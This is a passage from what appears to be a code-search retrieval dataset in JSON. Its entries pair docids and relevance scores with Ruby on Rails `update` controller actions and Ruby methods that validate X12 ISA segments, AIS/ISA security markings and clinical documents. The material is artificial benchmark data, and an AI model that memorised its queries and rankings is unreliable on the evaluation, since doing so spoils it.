:ok, location: @inspection_type }\n else\n format.html { render :edit }\n format.json { render json: @inspection_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5535c46fef5b9a3ec55a9ed6e6546289", "score": "0.60203713", "text": "def update\n @incidence = Incidence.find(params[:id])\n\n respond_to do |format|\n if @incidence.update_attributes(params[:incidence])\n format.html { redirect_to(@incidence, :notice => 'Incidence was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @incidence.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bec5398b84cdc0f77808ca423aa9bb76", "score": "0.601227", "text": "def update\n respond_to do |format|\n if @observation_type.update(observation_type_params)\n format.html { redirect_to @observation_type, notice: 'Observation type was successfully updated.' }\n format.json { render :show, status: :ok, location: @observation_type }\n else\n format.html { render :edit }\n format.json { render json: @observation_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f14c829e71d954536d9ead92f90abf26", "score": "0.60115206", "text": "def update\n @consultation_type = ConsultationType.find(params[:id])\n\n respond_to do |format|\n if @consultation_type.update_attributes(params[:consultation_type])\n format.html { redirect_to @consultation_type, notice: 'Consultation type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @consultation_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "751958adfc996df9c5c0c16f2c9eec21", "score": "0.60106564", "text": "def update\n if params[:concepto][:tipo_ids]\n params[:concepto][:tipo_ids] = params[:concepto][:tipo_ids].map{|k, v| k}\n else\n params[:concepto][:tipo_ids] = []\n end\n respond_to do |format|\n if @concepto.update(concepto_params)\n format.html { redirect_to @concepto, notice: 'Concepto was successfully updated.' }\n format.json { render :show, status: :ok, location: @concepto }\n else\n format.html { render :edit } if params[:concepto][:tipo_ids]\n format.json { render json: @concepto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a6e526ca0d07cb91e40ee0197881ebe6", "score": "0.6010325", "text": "def update\n @effect_type = EffectType.find(params[:id])\n\n if @effect_type.update(effect_type_params)\n head :no_content\n else\n render json: @effect_type.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "c5c00d06ddd45b1458ed60ec503a8a07", "score": "0.6008235", "text": "def update\n respond_to do |format|\n if @type_of_aggression.update(type_of_aggression_params)\n format.html { redirect_to @type_of_aggression, notice: 'Type of aggression was successfully updated.' }\n format.json { render :show, status: :ok, location: @type_of_aggression }\n else\n format.html { render :edit }\n format.json { render json: @type_of_aggression.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d8b522cf923d3a2e98cc3c664adaae88", "score": "0.6007607", "text": "def update\n respond_to do |format|\n if @owner_type.update(owner_type_params)\n format.html { redirect_to @owner_type, notice: 'Owner type was successfully updated.' }\n format.json { render :show, status: :ok, location: @owner_type }\n else\n format.html { render :edit }\n format.json { render json: @owner_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8a039895a87f0d9c7ed7acff3d34e29e", "score": "0.60075676", "text": "def update\n respond_to do |format|\n if @itinerary_type.update(itinerary_type_params)\n format.html { redirect_to @itinerary_type, notice: 'Tipo de itinerário actualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @itinerary_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f049b83aae53e5ff8accb23e583ea7a7", "score": "0.6006251", "text": "def update\n @investigation_type = InvestigationType.find(params[:id])\n\n respond_to do |format|\n if @investigation_type.update_attributes(params[:investigation_type])\n format.html { redirect_to @investigation_type, notice: 'Investigation type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @investigation_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1d6b9a883750b4b89bbf25d88bb9cf71", "score": "0.6006025", "text": "def update\n respond_to do |format|\n if @type_req_resp.update(type_req_resp_params)\n format.html { redirect_to '/maestricos/prueba?titulo=Tipo+de+Respuesta+de+Solicitud&tabla=TypeReqResps' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @type_req_resp.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "67a5cb2324725ec290eb435577233967", "score": "0.6005032", "text": "def update\n @entity_type = EntityType.find(params[:id])\n\n respond_to do |format|\n if @entity_type.update_attributes(params[:entity_type])\n format.html { redirect_to @entity_type, notice: 'Entity type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @entity_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dad9e0c34f688e1a71dd6c974ff58f49", "score": "0.6004117", "text": "def update\n @type_institution = TypeInstitution.find(params[:id])\n\n respond_to do |format|\n if @type_institution.update_attributes(params[:type_institution])\n format.html { redirect_to(@type_institution, :notice => 'Type institution was successfully updated.') }\n format.xml { head :ok }\n format.json {render :json => {\"success\"=>true,\"data\"=>@type_institution}}\n \n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @type_institution.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0c175bd14091f2041b994848b5f4408b", "score": "0.6001788", "text": "def update\n respond_to do |format|\n if @marker_spec_type_association.update(marker_spec_type_association_params)\n format.html { redirect_to @marker_spec_type_association, notice: 'Marker spec type association was successfully updated.' }\n format.json { render :show, status: :ok, location: @marker_spec_type_association }\n else\n format.html { render :edit }\n format.json { render json: @marker_spec_type_association.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "31c51cd72cd18b3e6602ff21fcc9cd9e", "score": "0.6001006", "text": "def update\n @type = Type.find(params[:id])\n\n respond_to do |format|\n if @type.update_attributes(params[:type])\n format.html { redirect_to(types_path, :notice => 'Type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @type.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "09a40d4616989a4492d5af1c07076634", "score": "0.5998929", "text": "def update\n respond_to do |format|\n if @appeal_type.update(params[:name] => params[:value])\n @appeal_types = AppealType.all.map{|t| {'value' => t.id.to_s, 'text' => t.name} }.to_json\n format.js\n else\n format.js { render status: :unprocessable_entity }\n format.json { render json: @appeal_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bf72348cbac7a0c85527f605f7950825", "score": "0.59951067", "text": "def update\n @type = Type.find_by_alias!(params[:id])\n\n respond_to do |format|\n if @type.update_attributes(params[:type])\n format.html { redirect_to admin_types_path, notice: 'Type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ccbc126e0d765d521a4c08e244149bdd", "score": "0.59935164", "text": "def update\n respond_to do |format|\n if @default_request_type.update(default_request_type_params)\n format.html { redirect_to @default_request_type, notice: 'Default request type was successfully updated.' }\n format.json { render :show, status: :ok, location: @default_request_type }\n else\n format.html { render :edit }\n format.json { render json: @default_request_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78dd7071d399c68be1e4b0d170894001", "score": "0.5990375", "text": "def update\n if @invoice_type.update invoice_type_params\n redirect_to invoice_types_url\n else\n render 'edit'\n end\n end", "title": "" } ]
d38554d8b05b4f8271eb9c611789440d
Performs validations using the definition of the given ISA segment
[ { "docid": "899fb1831fd692ba608b127998f9698a", "score": "0.5016482", "text": "def critique_isa(isa, acc)\n # @todo\n # isa.segment.tap do |x|\n # envelope_def = x.node.definition.parent.parent\n #\n # # ...\n # end\n end", "title": "" } ]
[ { "docid": "ac980cb36dddaaacd547c9b775603ac8", "score": "0.62522006", "text": "def process_segment(segment)\r\n # puts \"Trying to process segment #{segment.inspect}\"\r\n unless @x12_definition[X12::Segment] && @x12_definition[X12::Segment][segment.name]\r\n # Try to find it in a separate file if missing from the @x12_definition structure\r\n initialize(segment.name+'.xml')\r\n segment_definition = @x12_definition[X12::Segment][segment.name]\r\n throw Exception.new(\"Cannot find a definition for segment #{segment.name}\") unless segment_definition\r\n else\r\n segment_definition = @x12_definition[X12::Segment][segment.name]\r\n end\r\n segment_definition.nodes.each_index { |i|\r\n segment.nodes[i] = segment_definition.nodes[i]\r\n # Make sure we have the validation table if any for this field. Try to read one in if missing.\r\n table = segment.nodes[i].validation\r\n if table\r\n unless @x12_definition[X12::Table] && @x12_definition[X12::Table][table]\r\n initialize(table + '.xml')\r\n throw Exception.new(\"Cannot find a definition for table #{table}\") unless @x12_definition[X12::Table] && @x12_definition[X12::Table][table]\r\n end\r\n end\r\n }\r\n end", "title": "" }, { "docid": "7c893b60145795b251c98d0bea5200fc", "score": "0.5688247", "text": "def step(machine)\n # @todo: when segment_id is :ISA, :GS, or :ST, use the correct values?\n machine.successors.head.constraints.each do |segment_id, table|\n case table\n when Stupidedi::Builder::ConstraintTable::Shallowest,\n Stupidedi::Builder::ConstraintTable::Deepest\n segment_tok =\n mksegment_tok(@reader.segment_dict, segment_id, @elements[segment_id], nil)\n\n op = table.matches(segment_tok, false).head\n as = machine.execute(op, machine.active.head, @reader, segment_tok)\n enqueue(as)\n\n when Stupidedi::Builder::ConstraintTable::Stub\n if table.instructions.length == 1\n segment_tok =\n mksegment_tok(@reader.segment_dict, segment_id, @elements[segment_id], nil)\n\n op = table.matches(nil, false).head\n as = machine.execute(op, machine.active.head, @reader, segment_tok)\n enqueue(as)\n else\n raise Exceptions::InvalidSchemaError,\n \"proceeding from [#{pp_machine(machine)}], there are no \" +\n \"constraints on segment #{segment_id} to choose between:\\n\" +\n table.instructions.map{|x| pp_instruction(x) }.join\n end\n\n when Stupidedi::Builder::ConstraintTable::ValueBased\n disjoint, distinct = table.basis(table.instructions)\n\n if disjoint.empty?\n # We're definitely going to throw an error now, but we need to\n # get more information to make a useful error message. First\n # check that interesting elements are required\n designators = optional_elements(distinct, table.instructions)\n\n case designators.length\n when 0\n when 1\n raise Exceptions::InvalidSchemaError,\n \"proceeding from [#{pp_machine(machine)}], the element \" +\n \"#{designators.join(\", \")} is designated optional, but \" +\n \"is necessary to choose between:\\n\" +\n table.instructions.map{|x| pp_instruction(x) }.join\n else\n raise Exceptions::InvalidSchemaError,\n \"proceeding from [#{pp_machine(machine)}], the elements \" +\n \"#{designators.join(\", \")} are designated optional, but \" +\n \"at least one is necessary to choose between:\\n\" +\n table.instructions.map{|x| pp_instruction(x) }.join\n end\n\n # Next report cases of element values that cause ambiguity\n designators, ex_designator, ex_value, ex_instructions =\n distinct_elements(distinct, table.instructions)\n\n case designators.length\n when 0\n raise Exceptions::InvalidSchemaError,\n \"proceeding from [#{pp_machine(machine)}], there are no \" +\n \"constraints on segment #{segment_id} to choose \" +\n \"between:\\n\" + table.instructions.map{|x| pp_instruction(x) }.join\n when 1\n raise Exceptions::InvalidSchemaError,\n \"proceeding from [#{pp_machine(machine)}], the element \" +\n \"#{ex_designator} has overlapping values among possible \" +\n \"choices; for example when it has value the #{ex_value}, \"+\n \"it is not possible to choose between:\\n\" +\n ex_instructions.map{|x| pp_instruction(x) }.join\n else\n raise Exceptions::InvalidSchemaError,\n \"proceeding from [#{pp_machine(machine)}], the elements \" +\n \"#{designators.join(\", \")} each have overlapping values \" +\n \"among choices; for example when #{ex_designator} has \" +\n \"the value #{ex_value}, it is not possible to choose \" +\n \"between:\\n\" + ex_instructions.map{|x| pp_instruction(x) }.join\n end\n else\n # It's possible there is no ambiguity here, but we need to check\n designators = optional_elements(disjoint, table.instructions)\n\n case designators.length\n when 0\n when 1\n raise Exceptions::InvalidSchemaError,\n \"proceeding from [#{pp_machine(machine)}], the element \" +\n \"#{designators.join(\", \")} is designated optional in at \" +\n \"least one case, but is necessary to choose between:\\n\" +\n table.instructions.map{|x| pp_instruction(x) }.join\n else\n raise Exceptions::InvalidSchemaError,\n \"proceeding from [#{pp_machine(machine)}], the elements \" +\n \"#{designators.join(\", \")} are designated optional in at \" +\n \"least one case each, but at least one is necessary to \" +\n \"choose between:\\n\" +\n table.instructions.map{|x| pp_instruction(x) }.join\n end\n\n mksegments(table).each do |op, segment_tok|\n enqueue(machine.execute(op, machine.active.head, @reader, segment_tok))\n end\n end\n else\n raise \"unexpected kind of constraint table: #{constraint_table.class}\"\n end\n end\n end", "title": "" }, { "docid": "7a4d0a7a2df425953a40cd80892e6cd5", "score": "0.5682133", "text": "def critique_isa(isa, acc)\n edit(:ISA05) do\n isa.element(5).tap do |e|\n if e.node.present? and e.node.valid?\n unless %w(27 28 ZZ).include?(e.node)\n acc.ta105(e, \"R\", \"005\", \"must be '27', '28', or 'ZZ'\")\n end\n end\n end\n end\n\n edit(:ISA07) do\n isa.element(7).tap do |e|\n if e.node.present? and e.node.valid?\n unless %w(27 28 ZZ).include?(e.node)\n acc.ta105(e, \"R\", \"005\", \"must be '27', '28', or 'ZZ'\")\n end\n end\n end\n end\n\n edit(:ISA12) do\n isa.element(12).tap do |e|\n if e.node.present? and e.node.valid?\n unless e.node == \"00501\"\n acc.ta105(e, \"R\", \"017\", \"must be '00501'\")\n end\n end\n end\n end\n end", "title": "" }, { "docid": "890d017157fc7d0d53ea0d72a2579f41", "score": "0.55379915", "text": "def read_segment\n consume_isa.flatmap do |rest|\n # The character after \"ISA\" is defined to be the element separator\n rest.read_character.flatmap do |char, aR|\n separators = Separators.new(nil, nil, char, nil)\n remaining = success(TokenReader.new(aR.input, separators))\n elements = []\n\n # Read 15 simple elements into an array. Consume/discard the element\n # separator that follows each one.\n 15.times do\n remaining =\n remaining.flatmap(&:read_simple_element).flatmap do |e, eR|\n elements << e\n\n # Throw away the following element separator\n eR.consume_prefix(separators.element)\n end\n end\n\n # We have to assume the last (16th) element is fixed-length because\n # it is not terminated by an element separator. The {read_character}\n # method defined by TokenReader skips past control characters.\n remaining.flatmap do |w|\n w.read_character.flatmap do |isa16, cR|\n elements << SimpleElementTok.build(isa16, w.input, cR.input)\n\n # The character after the last element is defined to be the\n # segment terminator. The {read_character} method here, defined\n # by StreamReader, does not skip past control character, so the\n # separator could be a control character.\n cR.stream.read_character.flatmap do |char_, dR|\n if char_ == separators.element\n failure(\"element separator and segment terminator must be distinct\", dR.input)\n else\n separators.segment = char_\n\n token = SegmentTok.build(:ISA, elements,\n rest.input.position, dR.input.position)\n\n result(token, TokenReader.new(dR.input, separators))\n end\n end\n end\n end\n end.or do |reason|\n # We read \"ISA\" but failed to tokenize the input that followed. This\n # was probably a random occurrence of the sequence \"ISA\", so we'll\n # skip past it and try again.\n #\n # @todo: We should log this as a warning, because we could otherwise\n # be silently discarding an entire interchange if the ISA segment\n # was bogus\n rest.read_segment\n end\n end\n end", "title": "" }, { "docid": "907b58074f9c464f057e3858a026d1df", "score": "0.5211424", "text": "def custom_ais\n return if self.is_ciscp\n all_markings = self.stix_markings.select {|sm| sm.remote_object_field.blank?}\n ais_struct = all_markings.collect(&:ais_consent_marking_structure).compact.first\n return if all_markings.blank?\n return if ais_struct.blank? \n\n if self.submission_mechanism.blank? || self.contributing_sources.blank? || self.contributing_sources.length < 1\n errors.add(\"A contributing source\", \"and submission mechanism are required if including AIS Consent markings. \\n\")\n return false #don't do any more validation until they include a submission mechanism and contributing source\n end\n\n isa_struct = all_markings.collect(&:isa_marking_structure).compact.first\n isa_asserts = all_markings.collect(&:isa_assertion_structure).compact.first\n\n # errors.add(\"ISA Assertions\", \"must be included with AIS Consent Markings\")\n if isa_asserts.blank?\n # If isa asserts are blank when the stix markings save it will run the ais to isa and create the isa markings.\n return\n end\n\n if isa_struct.blank?\n isa_struct = IsaMarkingStructure.new(\n re_custodian: 'USA.DHS.US-CERT',\n re_originator: 'NONFED',\n data_item_created_at: Time.now\n )\n\n isa_struct.set_stix_id\n isa_struct.set_guid\n\n if isa_asserts.stix_marking.present?\n isa_struct.stix_marking = isa_asserts.stix_marking\n isa_asserts.stix_marking.isa_marking_structure = isa_struct\n elsif all_markings.first.respond_to?(:isa_marking_structure)\n isa_struct.stix_marking = all_markings.first\n all_markings.first.isa_marking_structure = isa_struct\n end\n end\n\n errors.add(\"Classification\", \"must be U if including AIS Consent markings\") if isa_asserts.cs_classification.blank? || !isa_asserts.cs_classification == 'U'\n\n if isa_asserts.cs_formal_determination.blank?\n isa_asserts.cs_formal_determination = \"INFORMATION-DIRECTLY-RELATED-TO-CYBERSECURITY-THREAT\"\n elsif isa_asserts.cs_formal_determination.upcase.exclude?('INFORMATION-DIRECTLY-RELATED-TO-CYBERSECURITY-THREAT')\n isa_asserts.cs_formal_determination << ',INFORMATION-DIRECTLY-RELATED-TO-CYBERSECURITY-THREAT'\n end\n\n # errors.add(\"Custodian and originator\", \"must both be included and custodian must be a USA organization if including AIS Consent Markings\\n\")\n is_federal = self.contributing_sources.first.is_federal if self.contributing_sources.first.present?\n isa_struct.re_originator = (is_federal.present? && is_federal == true) ? 'USA.USG' : 'NONFED' if isa_struct.re_originator.blank?\n isa_struct.re_custodian = 'USA.DHS.US-CERT' if isa_struct.re_custodian.blank? || !isa_struct.re_custodian.start_with?('USA')\n\n # errors.add(\"CISA Proprietary\", \"must be True if Consent is Everyone\")\n if isa_asserts.isa_privs.blank?\n priv = IsaPriv.new(action: 'CISAUSES', scope_is_all: true, effect: 'permit', isa_assertion_structure: isa_asserts)\n isa_asserts.isa_privs << priv\n elsif isa_asserts.isa_privs.select{|x| x.action == \"CISAUSES\"}.first.respond_to?(:effect) && !(isa_asserts.isa_privs.select{|x| x.action == \"CISAUSES\"}.first.effect == \"permit\")\n isa_asserts.isa_privs.select{|x| x.action == \"CISAUSES\"}.first.effect = \"permit\"\n end\n \n # errors.add(\"Formal determination\", \"must include PUBREL and exclude FOUO if AIS color is white\\n\")\n if(ais_struct.color == 'white')\n # Set the pubrel fields if not set\n if isa_asserts.public_release == false\n isa_asserts.public_release = true \n isa_asserts.public_released_by = isa_struct.re_originator if isa_struct.present?\n isa_asserts.public_released_on = Time.now\n end\n\n # Add the PUBREL fd if not included\n if isa_asserts.cs_formal_determination.upcase.exclude?('PUBREL')\n isa_asserts.cs_formal_determination << ',PUBREL'\n end\n \n if isa_asserts.cs_formal_determination.upcase.include?('FOUO')\n # Then find the index of the FOUO in the cs fd and remove it. this string is a comma seperated string so account for cases.\n # We don't need to account for the blank FD case the first check was for the idrtct addition.\n index = isa_asserts.cs_formal_determination.upcase.index('FOUO')\n\n # Account for the case where FOUO is somewhere in the middle of the end\n if isa_asserts.cs_formal_determination[index - 1] == ','\n isa_asserts.cs_formal_determination = isa_asserts.cs_formal_determination.gsub(\",FOUO\", '')\n # Account for the case where FOUO is in the first position\n elsif isa_asserts.cs_formal_determination[index - 1] != ',' && isa_asserts.cs_formal_determination[index + 1] == ','\n isa_asserts.cs_formal_determination = isa_asserts.cs_formal_determination.gsub(\"FOUO,\", '')\n end\n end\n # errors.add(\"Formal determination\", \"must include FOUO and exclude PUBREL if AIS color is amber\\n\")\n elsif (ais_struct.color == 'amber')\n if isa_asserts.cs_formal_determination.upcase.exclude?('FOUO')\n isa_asserts.cs_formal_determination << ',FOUO'\n end\n\n if isa_asserts.cs_formal_determination.upcase.include?('PUBREL')\n # First set the pubrel fields to false\n isa_asserts.public_release = false\n isa_asserts.public_released_by = nil\n isa_asserts.public_released_on = nil\n # Then find the index of the pubrel in the cs fd and remove it. this string is a comma seperated string so account for cases.\n # We don't need to account for the blank FD case the first check was for the idrtct addition.\n index = isa_asserts.cs_formal_determination.upcase.index('PUBREL')\n\n # Account for the case where pubrel is somewhere in the middle of the end\n if isa_asserts.cs_formal_determination[index - 1] == ','\n isa_asserts.cs_formal_determination = isa_asserts.cs_formal_determination.gsub(\",PUBREL\", '')\n # Account for the case where pubrel is in the first position\n elsif isa_asserts.cs_formal_determination[index - 1] != ',' && isa_asserts.cs_formal_determination[index + 1] == ','\n isa_asserts.cs_formal_determination = isa_asserts.cs_formal_determination.gsub(\"PUBREL,\", '')\n end\n end\n end\n\n end", "title": "" }, { "docid": "e74bc48ffbdc4bdaaf10ebfd5791c79a", "score": "0.51749855", "text": "def validate\n raise 'attributes not defined' unless attributes_are_defined?\n raise 'attribute names invalid' unless attribute_names_valid?\n validate_string_attributes\n @attributes.each(&:validate)\n validate_partition_fields(\n @partitions,\n attribute_names\n )\n end", "title": "" }, { "docid": "87ffe7b649018238f0c44f88404e3766", "score": "0.5137092", "text": "def validate\n \n \n end", "title": "" }, { "docid": "71445d159853b48fe36bcb6d7ddebb82", "score": "0.50378215", "text": "def validate(model)\n # tree iterate the model, and call the checks for each element\n\n # While not strictly needed, here a check is made of the root (the \"Program\" AST object)\n check_bad_word(model)\n\n # Then check all of its content\n model.eAllContents.each {|m| check_bad_word(m) }\n @acceptor\n end", "title": "" }, { "docid": "0c8424677dc61386602a270addd46804", "score": "0.5023833", "text": "def test_for_format_of_iasxx_is_valid\n # test conditions\n a1_list = %W{ isa11 isa14 isa15 isa16 } \n a2_list = %W{ isa01 isa03 isa05 isa07 }\n a4_list = %W{ isa10 }\n a5_list = %W{ isa12 }\n a6_list = %W{ isa09 }\n a9_list = %W{ isa13 }\n a10_list = %W{ isa02 isa04 }\n a15_list = %W{ isa06 isa08 }\n list = a1_list + a2_list + a4_list + a5_list + a6_list + a9_list + a10_list + a15_list\n\n # Create object\n e = Editransaction.new\n\n # Test for > 0, 1, max +\n list.each do |x|\n # test for 0\n e[x] = 0 \n e.valid?\n assert e.errors.invalid?(x)\n assert_equal I18n.translate('activerecord.errors.messages.invalid'), e.errors.on(x)\n e.errors.clear\n\n # test for 1\n e[x] = 1\n e.valid?\n assert !e.errors.invalid?(x)\n\n # test for max +\n e[x] = '123456789101112131415'\n e.valid?\n assert e.errors.invalid?(x)\n end \n end", "title": "" }, { "docid": "6b045ce4860f3e02870498792c74a0b9", "score": "0.4987875", "text": "def validate; end", "title": "" }, { "docid": "6b045ce4860f3e02870498792c74a0b9", "score": "0.4987875", "text": "def validate; end", "title": "" }, { "docid": "6b045ce4860f3e02870498792c74a0b9", "score": "0.4987875", "text": "def validate; end", "title": "" }, { "docid": "6b045ce4860f3e02870498792c74a0b9", "score": "0.4987875", "text": "def validate; end", "title": "" }, { "docid": "a4b5aa7b7ba6b26e9ceff8288035ca99", "score": "0.4972093", "text": "def validation; end", "title": "" }, { "docid": "a4b5aa7b7ba6b26e9ceff8288035ca99", "score": "0.4972093", "text": "def validation; end", "title": "" }, { "docid": "fae4c79c4fbd920416ab71e88578c36b", "score": "0.495395", "text": "def valid_instrument_part_for_admin\n return unless admin? || director?\n return if instrument_any? || any_part?\n return if instrument_trumpet? && valid_trumpet_part(User.parts[part])\n return if instrument_mellophone? && valid_mellophone_part(User.parts[part])\n return if instrument_trombone? && valid_trombone_part(User.parts[part])\n return if instrument_baritone? && valid_baritone_part(User.parts[part])\n return if instrument_percussion? && valid_percussion_part(User.parts[part])\n return if instrument_sousaphone? && valid_sousaphone_part(User.parts[part])\n errors.add(:admin, \"with instrument #{instrument} can't have part #{part}\")\n end", "title": "" }, { "docid": "ddcd5293ab1aba56a9bbeb66062709fd", "score": "0.49398607", "text": "def consume_isa\n position = 0\n buffer = \" \"\n\n # @todo: This would probably more optimal if it was written like\n # consume(\"I\") >>= consume_prefix(\"S\") >>= consume_prefix(\"A\")\n while @input.defined_at?(position)\n character = @input.at(position)\n position += 1\n\n unless Reader.is_control_character?(character)\n # Slide the \"window\" forward one character\n buffer = buffer.slice(1..-1)\n buffer = buffer + character.upcase\n if buffer == \"ISA\"\n return success(advance(position))\n end\n end\n end\n\n failure(\"reached end of input before finding ISA segment identifier\")\n end", "title": "" }, { "docid": "6353e01c7c3c720672f8437b5706d2e3", "score": "0.49371877", "text": "def validate patient, document\n elements = document.elements\n [].tap do |errors|\n # The ClinicalDocument/templateId element shall be present. The root\n # attribute shall contain the oid, ‘1.3.6.1.4.1.19376.1.2.20’, to\n # indicate this document is an XDS-SD document.\n errors.concat(check_required(elements, 'ClinicalDocument/templateId',\n %w[ root ]) do |templateId|\n if templateId.attributes['root'] != TEMPLATE_ID_ROOT\n errors << inspection_error(templateId.xpath,\n 'ClinicalDocument/templateId root attribute does not match expected.')\n end\n end)\n\n # The ClinicalDocument/id element shall be present. The root\n # attribute shall contain the oid for the document, in which case\n # the extension attribute shall be empty, or an oid that scopes the\n # set of possible unique values for the extension attribute, in which\n # case the extension shall be populated with a globally unique\n # identifier within the scope of the root oid.\n errors.concat check_required(elements, 'ClinicalDocument/id', %w[ root ])\n\n # The ClinicalDocument/code will in most cases be provided by the\n # operator. Values for this code are dictated by the CDA R2\n # documentation, but are permissible to extend to fit the particular\n # use case. Attributes code@code and code@codeSystem shall be present.\n errors.concat check_required(elements, 'ClinicalDocument/code',\n %w[code codeSystem])\n\n # The ClinicalDocument/effectiveTime shall denote the time at which\n # the original content was scanned. At a minimum, the time shall be\n # precise to the day and shall include the time zone offset from GMT.\n errors.concat check_required(elements, 'ClinicalDocument/effectiveTime',\n %w[ value ])\n\n # The ClinicalDocument/confidentialityCode shall be assigned by the\n # operator in accordance with the scanning facility policy. ...\n # Attributes confidentialityCode@code and confidentialityCode@codeSystem\n # shall be present.\n errors.concat check_required(elements,\n 'ClinicalDocument/confidentialityCode',\n %w[ code codeSystem ])\n\n # The ClinicalDocument/component/nonXMLBody/text element shall be\n # present and encoded using xs:base64Binary encoding. Its #CDATA\n # will contain the scanned content.\n # ClinicalDocument/component/nonXMLBody/text@mediaType shall be\n # “application/pdf” for PDF, or “text/plain” for plaintext.\n # ClinicalDocument/component/nonXMLBody/text@representation shall\n # be present. The @representation for both PDF and plaintext scanned\n # content will be “B64”, because this profile requires the base-64\n # encoding of both formats.\n errors.concat(check_required(elements,\n 'ClinicalDocument/component/nonXMLBody/text',\n %w[ mediaType representation ]) do |text|\n if not %w[text/plain application/pdf].include? text.attributes['mediaType']\n errors << inspection_error(text.xpath,\n \"#{text.xpath}@mediaType attribute does not match expected.\")\n end\n if text.attributes['representation'] != 'B64'\n errors << inspection_error(text.xpath,\n \"#{text.xpath}@representation attribute does not match expected.\")\n end\n end)\n\n # The ClinicalDocument/languageCode, in accordance with the HL7 CDA\n # R2 documentation, shall denote the language used in the character\n # data of the wrapper CDA header.\n errors.concat check_required(elements, 'ClinicalDocument/languageCode',\n %w[ code ])\n\n # The ClinicalDocument/recordTarget/patientRole/id element shall\n # include both the root and the extension attributes.\n\n errors.compact! # remove nils\n end\n end", "title": "" }, { "docid": "adc322138d71d2b4cf5ee2c9171023cc", "score": "0.49194545", "text": "def validate\r\n\r\n end", "title": "" }, { "docid": "066fa25adc4341a7185e824d45eee17e", "score": "0.49052292", "text": "def valid?\n return false if @class_id.nil?\n class_id_validator = EnumAttributeValidator.new('String', [\"asset.DeviceContractInformation\"])\n return false unless class_id_validator.valid?(@class_id)\n return false if @object_type.nil?\n object_type_validator = EnumAttributeValidator.new('String', [\"asset.DeviceContractInformation\"])\n return false unless object_type_validator.valid?(@object_type)\n contract_status_validator = EnumAttributeValidator.new('String', [\"Unknown\", \"Not Covered\", \"Active\", \"Expiring Soon\"])\n return false unless contract_status_validator.valid?(@contract_status)\n contract_status_reason_validator = EnumAttributeValidator.new('String', [\"\", \"Line Item Expired\", \"Line Item Terminated\"])\n return false unless contract_status_reason_validator.valid?(@contract_status_reason)\n device_type_validator = EnumAttributeValidator.new('String', [\"None\", \"CiscoUcsServer\", \"CiscoUcsFI\", \"CiscoUcsChassis\", \"CiscoNexusSwitch\"])\n return false unless device_type_validator.valid?(@device_type)\n platform_type_validator = EnumAttributeValidator.new('String', [\"\", \"APIC\", \"DCNM\", \"UCSFI\", \"UCSFIISM\", \"IMC\", \"IMCM4\", \"IMCM5\", \"IMCRack\", \"UCSIOM\", \"HX\", \"HyperFlexAP\", \"IWE\", \"UCSD\", \"IntersightAppliance\", \"IntersightAssist\", \"PureStorageFlashArray\", \"UCSC890\", \"NetAppOntap\", \"NetAppActiveIqUnifiedManager\", \"EmcScaleIo\", \"EmcVmax\", \"EmcVplex\", \"EmcXtremIo\", \"VmwareVcenter\", \"MicrosoftHyperV\", \"AppDynamics\", \"Dynatrace\", \"NewRelic\", \"ServiceNow\", \"ReadHatOpenStack\", \"CloudFoundry\", \"MicrosoftAzureApplicationInsights\", \"OpenStack\", \"MicrosoftSqlServer\", \"Kubernetes\", \"AmazonWebService\", \"AmazonWebServiceBilling\", \"MicrosoftAzureServicePrincipal\", \"MicrosoftAzureEnterpriseAgreement\", \"DellCompellent\", \"HPE3Par\", \"RedHatEnterpriseVirtualization\", \"NutanixAcropolis\", \"HPEOneView\", \"ServiceEngine\", \"HitachiVirtualStoragePlatform\", \"IMCBlade\", \"TerraformCloud\", \"TerraformAgent\", \"CustomTarget\", \"AnsibleEndpoint\", \"HTTPEndpoint\", \"SSHEndpoint\", \"CiscoCatalyst\"])\n return false unless platform_type_validator.valid?(@platform_type)\n state_contract_validator = EnumAttributeValidator.new('String', [\"Update\", \"OK\", \"Failed\", \"Retry\"])\n return false unless state_contract_validator.valid?(@state_contract)\n true\n end", "title": "" }, { "docid": "e4e9ab9af43b47d230cf67ae112983d1", "score": "0.48914403", "text": "def valid(context,input)\n antisamy(context,input)\n end", "title": "" }, { "docid": "f082b93b4e5a3bcb970c6e3660c14b99", "score": "0.4849705", "text": "def internal_validate_scn\n unless self.scottish_candidate_number.empty?\n unless Student.validate_scn self.scottish_candidate_number\n self.errors.add(:scottish_candidate_number, 'is not valid')\n end\n end\n end", "title": "" }, { "docid": "f7277d02ea7bece69ee543a1965f2425", "score": "0.48490596", "text": "def valid_siad_exec?\n self.siad_params_validation = true\n aux = valid?\n 